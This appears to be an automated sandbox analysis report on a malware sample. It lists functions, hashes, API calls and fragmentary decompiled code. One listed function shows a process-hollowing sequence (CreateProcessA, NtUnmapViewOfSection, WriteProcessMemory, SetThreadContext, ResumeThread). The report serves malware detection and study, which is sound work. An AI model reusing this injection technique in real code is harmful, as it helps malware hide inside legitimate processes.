Instruction ID: c7dbb5b86db80192b1cd6b67b95130a9e8bba6362884e51d04f8a5ef40e6dacf
Opcode Fuzzy Hash: e6583a46ba0c482cc9ee2622c86c4f26a038c05ef2be8949cbdfc3cdf2952675
Instruction Fuzzy Hash: A50144F1208205FBEB005AD59DA2E7B3668AB01715F20013BBA03790F1D57D9913E72B

Uniqueness

Uniqueness Score: -1.00%

Function 00401A0B, Relevance: 1.6, APIs: 1, Instructions: 96
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004019C9

Memory Dump Source

Source File: 00000003.00000002.348111614.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_PPsa8TXVuy.jbxd

Similarity

API ID: ProcessTerminate
String ID:
API String ID: 560597551-0
Opcode ID: 00d9af8ada967e92f08724f842517e3d5e3f1b979023ce9469ee702bd8b35524
Instruction ID: 6d9108f025a0daaf84588f91761baf46a4613dd7645499535b00fdf5ce75212c
Opcode Fuzzy Hash: 00d9af8ada967e92f08724f842517e3d5e3f1b979023ce9469ee702bd8b35524
Instruction Fuzzy Hash: 3E21D074609204EAC7156665C863FB637909B41329F60153FE9A3BE2F2C67C4487EB27

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 0040250A, Relevance: 1.3, Strings: 1, Instructions: 79
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

(3_\, xrefs: 00402527

Memory Dump Source

Source File: 00000003.00000002.348111614.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_PPsa8TXVuy.jbxd

Similarity

API ID:
String ID: (3_\
API String ID: 0-1024548672
Opcode ID: 4a267a5a5f6b649a77e844de47957a3dbb9b510094ac05e3fc21bbb07d5a18e4
Instruction ID: 64c156a0781b3c67ba192cd992c8aad639144a23081a5c252ffbc859459b19b0
Opcode Fuzzy Hash: 4a267a5a5f6b649a77e844de47957a3dbb9b510094ac05e3fc21bbb07d5a18e4
Instruction Fuzzy Hash: 60113B7911520D6FE33C8A6995A00C2B796FF85608BA1284DD3818FE03C932B493CB80

Uniqueness

Uniqueness Score: -1.00%

Function 00402000, Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.348111614.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_PPsa8TXVuy.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 79ea8fd425b2c888051b2e809439338920840858330f0444cb6eb141cff5550f
Instruction ID: abc276a2ba0a36a85ab5b5df61cf416fa3bc2d73c79843c5fd07df71a10c5fed
Opcode Fuzzy Hash: 79ea8fd425b2c888051b2e809439338920840858330f0444cb6eb141cff5550f
Instruction Fuzzy Hash: 3A012B7400430CBED2289660D589453BBA8FBC1344F601D2EC3423BCE2C979B857D697

Uniqueness

Uniqueness Score: -1.00%

Function 00402000, Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000001.295469507.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_1_400000_PPsa8TXVuy.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 79ea8fd425b2c888051b2e809439338920840858330f0444cb6eb141cff5550f
Instruction ID: abc276a2ba0a36a85ab5b5df61cf416fa3bc2d73c79843c5fd07df71a10c5fed
Opcode Fuzzy Hash: 79ea8fd425b2c888051b2e809439338920840858330f0444cb6eb141cff5550f
Instruction Fuzzy Hash: 3A012B7400430CBED2289660D589453BBA8FBC1344F601D2EC3423BCE2C979B857D697

Uniqueness

Uniqueness Score: -1.00%

Function 00402491, Relevance: .1, Instructions: 59COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.348111614.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_PPsa8TXVuy.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 36c7c2ea362ab175c8faec48889e7f9c448137358fc225cecc8bd01fb5f49981
Instruction ID: 0d435e3da4236d765e4c301cf304dd2dd2fe2570b998ddab2789a7de4284b15f
Opcode Fuzzy Hash: 36c7c2ea362ab175c8faec48889e7f9c448137358fc225cecc8bd01fb5f49981
Instruction Fuzzy Hash: 1001A27800265CAB972DCAA5D5D9041FFA9EE06330FA8EC8DC7824FD42CEB57086C643

Uniqueness

Uniqueness Score: -1.00%

Function 0040201A, Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.348111614.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_PPsa8TXVuy.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 50abe3c5d8af24f71ceee97d10064826831867a7979f46442cde13a65a6779ae
Instruction ID: 7ec0170f8d63d1cb41ea52610257a3a2e440b84d0ce0a50aa0c143b35ceb2a17
Opcode Fuzzy Hash: 50abe3c5d8af24f71ceee97d10064826831867a7979f46442cde13a65a6779ae
Instruction Fuzzy Hash: 26F0C87410020D6ED22CD7A0D185052B7A4FFC1304F611D5DC3422BCA2C939B853DA83

Uniqueness

Uniqueness Score: -1.00%

Function 0040201E, Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.348111614.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_PPsa8TXVuy.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 348556ee60875952d1b353ddc5f2ef97f6264277c173934fb5a6c0ffb2736ff7
Instruction ID: a43892d0f1fc751e2312f163d4b39de440685b5976e97a52a0fb587587c89ddc
Opcode Fuzzy Hash: 348556ee60875952d1b353ddc5f2ef97f6264277c173934fb5a6c0ffb2736ff7
Instruction Fuzzy Hash: 32F0AF7400424D6E93299B719585092BBA4FF82304F611D8EC3825BC62CA3AB893CB82

Uniqueness

Uniqueness Score: -1.00%

Function 0040202D, Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.348111614.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_PPsa8TXVuy.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 91acaab0455c819429546f4fe30140ad69fd9360310cbf4e3092104b92557cb0
Instruction ID: d517fed31536b1fc2a21567abd7de147b63b6840b6cf7dc9692091a0263e9a5e
Opcode Fuzzy Hash: 91acaab0455c819429546f4fe30140ad69fd9360310cbf4e3092104b92557cb0
Instruction Fuzzy Hash: D4F0C27410421DAE926CDBA0D185092BBA4FFD2304F615D5DC3426BCA2CA3AF853DA82

Uniqueness

Uniqueness Score: -1.00%

Function 00402084, Relevance: .0, Instructions: 31COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.348111614.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_PPsa8TXVuy.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b2fd54db6ca68966c6ea549734bc74dc57af9ffe16b4078303ef16f8b7efa8fb
Instruction ID: b234b1e164d4dd428b17fdfb9b1103a254be6e4ce54d4f1e89fdf23064b212e5
Opcode Fuzzy Hash: b2fd54db6ca68966c6ea549734bc74dc57af9ffe16b4078303ef16f8b7efa8fb
Instruction Fuzzy Hash: 15E0C26910150E6E865C8A7195440D2B7D6FFC2240BA12D49C3062BC22893AB883D591

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: fjsvubj PID: 6560 Parent PID: 664 fjsvubjCOMMON

Execution Graph

Execution Coverage:	18.4%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	27.5%
Total number of Nodes:	40
Total number of Limit Nodes:	7

Executed Functions

Function 00460110, Relevance: 22.7, APIs: 15, Instructions: 248
memorynativethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,00002800,00001000,00000004), ref: 00460156
GetModuleFileNameA.KERNELBASE(00000000,?,00002800), ref: 0046016C
CreateProcessA.KERNELBASE(?,00000000), ref: 00460255
VirtualFree.KERNELBASE(?,00000000,00008000), ref: 00460270
VirtualAlloc.KERNELBASE(00000000,00000004,00001000,00000004), ref: 00460283
GetThreadContext.KERNELBASE(00000000,?), ref: 0046029F
ReadProcessMemory.KERNELBASE(00000000,?,?,00000004,00000000), ref: 004602C8
NtUnmapViewOfSection.NTDLL(00000000,?), ref: 004602E3
VirtualAllocEx.KERNELBASE(00000000,?,?,00003000,00000040), ref: 00460304
NtWriteVirtualMemory.NTDLL(00000000,?,?,00000000,00000000), ref: 0046032A
NtWriteVirtualMemory.NTDLL(00000000,00000000,?,00000002,00000000), ref: 00460399
WriteProcessMemory.KERNELBASE(00000000,?,?,00000004,00000000), ref: 004603BF
SetThreadContext.KERNELBASE(00000000,?), ref: 004603E1
ResumeThread.KERNELBASE(00000000), ref: 004603ED
ExitProcess.KERNEL32(00000000), ref: 00460412

Memory Dump Source

Source File: 0000000A.00000002.384994482.0000000000460000.00000040.00000001.sdmp, Offset: 00460000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_460000_fjsvubj.jbxd

Similarity

API ID: Virtual$MemoryProcess$AllocThreadWrite$Context$CreateExitFileFreeModuleNameReadResumeSectionUnmapView
String ID:
API String ID: 2875986403-0
Opcode ID: ec80134effe49fee59cfb16798ca45a1398515b3278bf894a8b0bf22fdce02bc
Instruction ID: 2a06f4e7223cffddd6b0ac205043bdc297540d4fabe67e885c6535822cc68015
Opcode Fuzzy Hash: ec80134effe49fee59cfb16798ca45a1398515b3278bf894a8b0bf22fdce02bc
Instruction Fuzzy Hash: ACB1C874A00208AFDB44CF98C895F9EBBB5FF88314F248158E909AB391D775AD41CF94

Uniqueness

Uniqueness Score: -1.00%

Function 00460630, Relevance: 58.4, APIs: 1, Strings: 32, Instructions: 671
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE(user32), ref: 004606E2

Strings

WriteFile, xrefs: 004608CD, 004608D0
GetMessageA, xrefs: 004612F7, 004612FA
CreateFileA, xrefs: 0046088B, 00460891
user32, xrefs: 004606DB, 004606E1
GetFileAttributesA, xrefs: 004613D7, 004613DA
GetCommandLineA, xrefs: 00460F82, 00460F88
PostMessageA, xrefs: 004612B0, 004612B6
kernel32, xrefs: 004607ED, 004607F3
VirtualAllocEx, xrefs: 00460B44, 00460B4A
WinExec, xrefs: 00460820, 00460823
DefWindowProcA, xrefs: 00461374, 0046137A
CloseHandle, xrefs: 00460938, 0046093E
GetModuleFileNameA, xrefs: 00460EFB, 00460EFE
CreateProcessA, xrefs: 004609BB, 004609C1
VirtualFree, xrefs: 00460BB2, 00460BB8
MessageBoxA, xrefs: 004606EE, 004606F4
ResumeThread, xrefs: 00460DEF, 00460DF5
NtUnmapViewOfSection, xrefs: 00461085, 0046108B
ntdll.dll, xrefs: 00460FE2, 00460FE8
WaitForSingleObject, xrefs: 00460E95, 00460E9B
GetMessageExtraInfo, xrefs: 00460794, 0046079A
CreateWindowExA, xrefs: 0046123E, 00461244
NtWriteVirtualMemory, xrefs: 0046112C, 00461132
VirtualAlloc, xrefs: 00460AC1, 00460AC7
SetThreadContext, xrefs: 00460D7A, 00460D80
GetStartupInfoA, xrefs: 0046145B, 00461461
VirtualProtectEx, xrefs: 004614E9, 004614EF
RegisterClassExA, xrefs: 004611B7, 004611BD
ReadProcessMemory, xrefs: 00460C4A, 00460C50
ExitProcess, xrefs: 00461554, 0046155A
GetThreadContext, xrefs: 00460A4C, 00460A52
WriteProcessMemory, xrefs: 00460CE9, 00460CEF

Memory Dump Source

Source File: 0000000A.00000002.384994482.0000000000460000.00000040.00000001.sdmp, Offset: 00460000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_460000_fjsvubj.jbxd

Similarity

API ID: LibraryLoad
String ID: CloseHandle$CreateFileA$CreateProcessA$CreateWindowExA$DefWindowProcA$ExitProcess$GetCommandLineA$GetFileAttributesA$GetMessageA$GetMessageExtraInfo$GetModuleFileNameA$GetStartupInfoA$GetThreadContext$MessageBoxA$NtUnmapViewOfSection$NtWriteVirtualMemory$PostMessageA$ReadProcessMemory$RegisterClassExA$ResumeThread$SetThreadContext$VirtualAlloc$VirtualAllocEx$VirtualFree$VirtualProtectEx$WaitForSingleObject$WinExec$WriteFile$WriteProcessMemory$kernel32$ntdll.dll$user32
API String ID: 1029625771-3105132389
Opcode ID: aab33881e6ea512dee0bea29e3953140485f8577d3db8e783070f8d433065c47
Instruction ID: 840a96be87182b7d83052d075de84b44ac6df423c6a68ffa704e40085d38bbd9
Opcode Fuzzy Hash: aab33881e6ea512dee0bea29e3953140485f8577d3db8e783070f8d433065c47
Instruction Fuzzy Hash: 50A24460D0C6E8C9EB21C668CC4C7DDBEB51B26749F0841D9858C66292C7BB1B98CF76

Uniqueness

Uniqueness Score: -1.00%

Function 00460420, Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 113
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExA.USER32(00000200,saodkfnosa9uin,mfoaskdfnoa,00CF0000,80000000,80000000,000003E8,000003E8,00000000,00000000,00000000,00000000), ref: 00460533

Strings

0, xrefs: 00460492
saodkfnosa9uin, xrefs: 004604DA
d, xrefs: 00460584
mfoaskdfnoa, xrefs: 00460520, 00460523

Memory Dump Source

Source File: 0000000A.00000002.384994482.0000000000460000.00000040.00000001.sdmp, Offset: 00460000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_460000_fjsvubj.jbxd

Similarity

API ID: CreateWindow
String ID: 0$d$mfoaskdfnoa$saodkfnosa9uin
API String ID: 716092398-2341455598
Opcode ID: bb9b397fb3b679a7694c33bc0dbf232ca5c2d59a4e09fc52e4db1d59d2773c33
Instruction ID: de652b0f019cc1373de7cbcb3aa6172951dc5368ad1613bde01af3071c5a6e4e
Opcode Fuzzy Hash: bb9b397fb3b679a7694c33bc0dbf232ca5c2d59a4e09fc52e4db1d59d2773c33
Instruction Fuzzy Hash: FC513A70D08388EAEB11CBD8C849BDEBFB26F11708F144059D5453F286D3BA5A59CB66

Uniqueness

Uniqueness Score: -1.00%

Function 004605B0, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 35
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesA.KERNELBASE(apfHQ), ref: 004605EC

Strings

o, xrefs: 00460600
apfHQ, xrefs: 004605E2, 004605E5

Memory Dump Source

Source File: 0000000A.00000002.384994482.0000000000460000.00000040.00000001.sdmp, Offset: 00460000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_460000_fjsvubj.jbxd

Similarity

API ID: AttributesFile
String ID: apfHQ$o
API String ID: 3188754299-2999369273
Opcode ID: af0d3c0451304eea9a95bfbcf33a37b8699cda851cd8c30db079f59d0d7bd2d6
Instruction ID: f43b3c92eb9048f8f13f67730acf12ca28a72173625eccacdcc958d25f251b3e
Opcode Fuzzy Hash: af0d3c0451304eea9a95bfbcf33a37b8699cda851cd8c30db079f59d0d7bd2d6
Instruction Fuzzy Hash: AE011E70C0424CEADB10DB98C5183AEBFB5AF41308F1480DAC4092B342E77A9B59CBA6

Uniqueness

Uniqueness Score: -1.00%

Function 004507A6, Relevance: 1.5, APIs: 1, Instructions: 41
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Module32First.KERNEL32(00000000,00000224), ref: 004507EE

Memory Dump Source

Source File: 0000000A.00000002.384982823.0000000000450000.00000040.00000001.sdmp, Offset: 00450000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_450000_fjsvubj.jbxd

Similarity

API ID: FirstModule32
String ID:
API String ID: 3757679902-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: 6cc4aec2e5f3deeea1c809e4bbf904fcc7455c684bf4a4902fa26ababd7608f2
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: 8EF0C2391007106BD7203AB5988CA6FB6E8BF49726F10012AEA42911C1DA78F8098A68

Uniqueness

Uniqueness Score: -1.00%

Function 00450465, Relevance: 1.3, APIs: 1, Instructions: 48
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000040), ref: 004504B6

Memory Dump Source

Source File: 0000000A.00000002.384982823.0000000000450000.00000040.00000001.sdmp, Offset: 00450000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_450000_fjsvubj.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: c419a233b9d25aa70715fd57c5660eb43f9d81fd3d6c730a8f41c925d6f4111d
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: 50113C79A40208EFDB01DF98CA85E99BBF5AF08351F058095FA489B362D375EA50DF84

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00460042, Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.384994482.0000000000460000.00000040.00000001.sdmp, Offset: 00460000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_460000_fjsvubj.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction ID: ec9e2db87c7a0e1e0d3308b46f2c6c46806808324b7dbbfa4ae557e6013a04b0
Opcode Fuzzy Hash: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction Fuzzy Hash: EA1182723401009FDB54DF65EC91FA773EAEB89320B298156ED08CB312E67AEC02C761

Uniqueness

Uniqueness Score: -1.00%

Function 00450083, Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.384982823.0000000000450000.00000040.00000001.sdmp, Offset: 00450000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_450000_fjsvubj.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction ID: d03a7ddb8ec1b441581e3b406367ffda146c522efb2e688afa3ec9badd706cc8
Opcode Fuzzy Hash: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction Fuzzy Hash: 5211CE76340100AFD740CF55DCC1FA673EAEB88720B29806AED08CB352D67AEC02C760

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: fjsvubj PID: 6032 Parent PID: 6560 fjsvubjCOMMON

Execution Graph

Execution Coverage:	4.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	24
Total number of Limit Nodes:	0

Executed Functions

Function 0040196D, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 48
sleepnativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 46%

			E0040196D(void* __eax, void* __ebx, void* __ecx, void* __edi, short __esi, void* __fp0) {
				intOrPtr _t14;
				void* _t17;
				intOrPtr* _t23;
				void* _t26;
				void* _t27;
				void* _t28;
				signed int _t33;
				intOrPtr* _t35;
				void* _t38;

				_t31 = __esi;
				_t29 = __edi;
				asm("in eax, 0xe5");
				 *((short*)(__eax + _t33 * 2)) = __esi;
				 *((intOrPtr*)(__eax + _t33 * 2)) = __esi;
				_push(0x1999);
				_t14 =  *_t35;
				__eflags = __al;
				_t26 = 0x5c;
				E004012AB(_t14, __ebx, _t26, _t28, __edi, __esi, _t38);
				_t23 =  *((intOrPtr*)(_t33 + 8));
				Sleep(0x1388);
				_t17 = E004014EA(_t28, _t38, __fp0, _t23,  *((intOrPtr*)(_t33 + 0xc)),  *((intOrPtr*)(_t33 + 0x10)), _t33 - 4); // executed
				_t39 = _t17;
				if(_t17 != 0) {
					_push( *((intOrPtr*)(_t33 + 0x14)));
					_push( *((intOrPtr*)(_t33 - 4)));
					_push(_t17);
					_push(_t23); // executed
					E004015BD(_t23, _t28, _t29, _t31, _t39); // executed
				}
				 *_t23(0xffffffff, 0); // executed
				_t27 = 0x5c;
				return E004012AB(0x1999, _t23, _t27, _t28, _t29, _t31, _t39);
			}

APIs

Sleep.KERNELBASE(00001388), ref: 004019A1
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004019C9

Strings

j\Y, xrefs: 00401989

Memory Dump Source

Source File: 0000000B.00000002.405440563.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_fjsvubj.jbxd

Similarity

API ID: ProcessSleepTerminate
String ID: j\Y
API String ID: 417527130-662177190
Opcode ID: 60e19d2a587da5622c2a6d9172a049e9a5b2b5b2e4593a54255e3bb5c4ee03a0
Instruction ID: 595b9c3ea7707adfb89ee20c44a57f79679102a22a402f6ef59d3c67027402ce
Opcode Fuzzy Hash: 60e19d2a587da5622c2a6d9172a049e9a5b2b5b2e4593a54255e3bb5c4ee03a0
Instruction Fuzzy Hash: B10184B2604245EBDB005FE5DC92DAA3B74AF01314F2401ABF512B91F2DA3C8513E71A

Uniqueness

Uniqueness Score: -1.00%

Function 00401962, Relevance: 3.1, APIs: 2, Instructions: 52
sleepnativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 44%

			E00401962(void* __ecx, void* __fp0, intOrPtr* _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				char _v8;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr _t9;
				void* _t12;
				void* _t17;
				intOrPtr* _t18;
				void* _t20;
				void* _t21;
				void* _t22;
				void* _t23;
				void* _t24;
				intOrPtr* _t25;
				void* _t27;

				_push(0x1999);
				_t9 =  *_t25;
				__eflags = __al;
				_t20 = 0x5c;
				E004012AB(_t9, _t17, _t20, _t22, _t23, _t24, _t27);
				_t18 = _a4;
				Sleep(0x1388);
				_t12 = E004014EA(_t22, _t27, __fp0, _t18, _a8, _a12,  &_v8); // executed
				_t28 = _t12;
				if(_t12 != 0) {
					_push(_a16);
					_push(_v8);
					_push(_t12);
					_push(_t18); // executed
					E004015BD(_t18, _t22, _t23, _t24, _t28); // executed
				}
				 *_t18(0xffffffff, 0); // executed
				_t21 = 0x5c;
				return E004012AB(0x1999, _t18, _t21, _t22, _t23, _t24, _t28);
			}

APIs

Sleep.KERNELBASE(00001388), ref: 004019A1
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004019C9

Memory Dump Source

Source File: 0000000B.00000002.405440563.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_fjsvubj.jbxd

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: e6583a46ba0c482cc9ee2622c86c4f26a038c05ef2be8949cbdfc3cdf2952675
Instruction ID: c7dbb5b86db80192b1cd6b67b95130a9e8bba6362884e51d04f8a5ef40e6dacf
Opcode Fuzzy Hash: e6583a46ba0c482cc9ee2622c86c4f26a038c05ef2be8949cbdfc3cdf2952675
Instruction Fuzzy Hash: A50144F1208205FBEB005AD59DA2E7B3668AB01715F20013BBA03790F1D57D9913E72B

Uniqueness

Uniqueness Score: -1.00%

Function 00401A0B, Relevance: 1.6, APIs: 1, Instructions: 96
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004019C9

Memory Dump Source

Source File: 0000000B.00000002.405440563.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_fjsvubj.jbxd

Similarity

API ID: ProcessTerminate
String ID:
API String ID: 560597551-0
Opcode ID: 00d9af8ada967e92f08724f842517e3d5e3f1b979023ce9469ee702bd8b35524
Instruction ID: 6d9108f025a0daaf84588f91761baf46a4613dd7645499535b00fdf5ce75212c
Opcode Fuzzy Hash: 00d9af8ada967e92f08724f842517e3d5e3f1b979023ce9469ee702bd8b35524
Instruction Fuzzy Hash: 3E21D074609204EAC7156665C863FB637909B41329F60153FE9A3BE2F2C67C4487EB27

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Analysis Process: A975.exe PID: 4852 Parent PID: 3352 A975.exeCOMMON

Executed Functions

Function 004027CA, Relevance: .4, Instructions: 439
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000C.00000002.458889028.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_A975.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 59ac989ca3708892bfd26f4acbf633906e2528be2d17ed7f41992104238ec0bb
Instruction ID: 0338b83136466491310ec3fcb80edeb4c240d654d82b0732370eb0c756bdbeb0
Opcode Fuzzy Hash: 59ac989ca3708892bfd26f4acbf633906e2528be2d17ed7f41992104238ec0bb
Instruction Fuzzy Hash: D4C1B93210E141DFEB00AE24EEC98DAFB65FF1633477001ABD8426B1D2C67B5542DB66

Uniqueness

Uniqueness Score: -1.00%

Function 0060003C, Relevance: 11.0, APIs: 4, Strings: 2, Instructions: 515
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000004), ref: 0060024D

Strings

kernel32.dll, xrefs: 0060008F, 00600095
cess, xrefs: 0060018D

Memory Dump Source

Source File: 0000000C.00000002.459247478.0000000000600000.00000040.00000001.sdmp, Offset: 00600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_600000_A975.jbxd

Similarity

API ID: AllocVirtual
String ID: cess$kernel32.dll
API String ID: 4275171209-1230238691
Opcode ID: 1bc5c981d6fea912fcc7dcc340e60fde74e519195c6ec5c7e407c243dd4fdd56
Instruction ID: c0603137d364a0ba033bc342372137e63b5f17cb5fa9ad4a7b1fc43c8d74717b
Opcode Fuzzy Hash: 1bc5c981d6fea912fcc7dcc340e60fde74e519195c6ec5c7e407c243dd4fdd56
Instruction Fuzzy Hash: D9526974A01229DFDB64CF58C985BA9BBB1BF09304F1480E9E54DAB391DB30AE85DF14

Uniqueness

Uniqueness Score: -1.00%

Function 00600DF8, Relevance: 3.0, APIs: 2, Instructions: 15
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetErrorMode.KERNELBASE(00000400,?,?,00600223,?,?), ref: 00600E02
SetErrorMode.KERNELBASE(00000000,?,?,00600223,?,?), ref: 00600E07

Memory Dump Source

Source File: 0000000C.00000002.459247478.0000000000600000.00000040.00000001.sdmp, Offset: 00600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_600000_A975.jbxd

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction ID: d90cc75d00321b94bf897007759a2a03fcbc679ea6a1ca0861bf048290aa0ba9
Opcode Fuzzy Hash: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction Fuzzy Hash: 00D0123114512C77D7002B94DC09BCE7B1C9F05B66F008011FB0DE91C1C770994046E5

Uniqueness

Uniqueness Score: -1.00%

Function 00402A07, Relevance: .3, Instructions: 254
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 29%

			E00402A07(void* __edi, signed int __esi, void* __fp0) {
				signed int _t51;
				void* _t53;
				signed int _t56;
				void* _t59;
				void* _t62;
				void* _t65;
				void* _t67;
				void* _t71;
				void* _t72;
				void* _t81;
				void* _t85;
				void* _t86;
				void* _t91;
				void* _t92;
				signed int _t109;
				signed int* _t132;
				void* _t137;
				void* _t140;
				void* _t143;
				intOrPtr _t145;
				signed int* _t146;
				signed int _t147;
				void* _t149;
				signed int _t150;
				void* _t152;
				signed int _t153;
				signed int _t154;
				void* _t159;
				signed int _t160;
				signed int _t161;
				signed int _t166;
				void* _t174;
				void* _t181;
				signed long long _t183;

				_t181 = __fp0;
				_t153 = __esi;
				_t149 = __edi;
				asm("out 0x59, eax");
				asm("rcr byte [esi], cl");
				asm("fsubr dword [esi-0x2da4a48c]");
				asm("cmpsd");
				asm("movsb");
				asm("cs cmpsd");
				asm("movsb");
				asm("movsb");
				asm("movsb");
				asm("movsb");
				asm("ficomp word [ebx+0x59c6df54]");
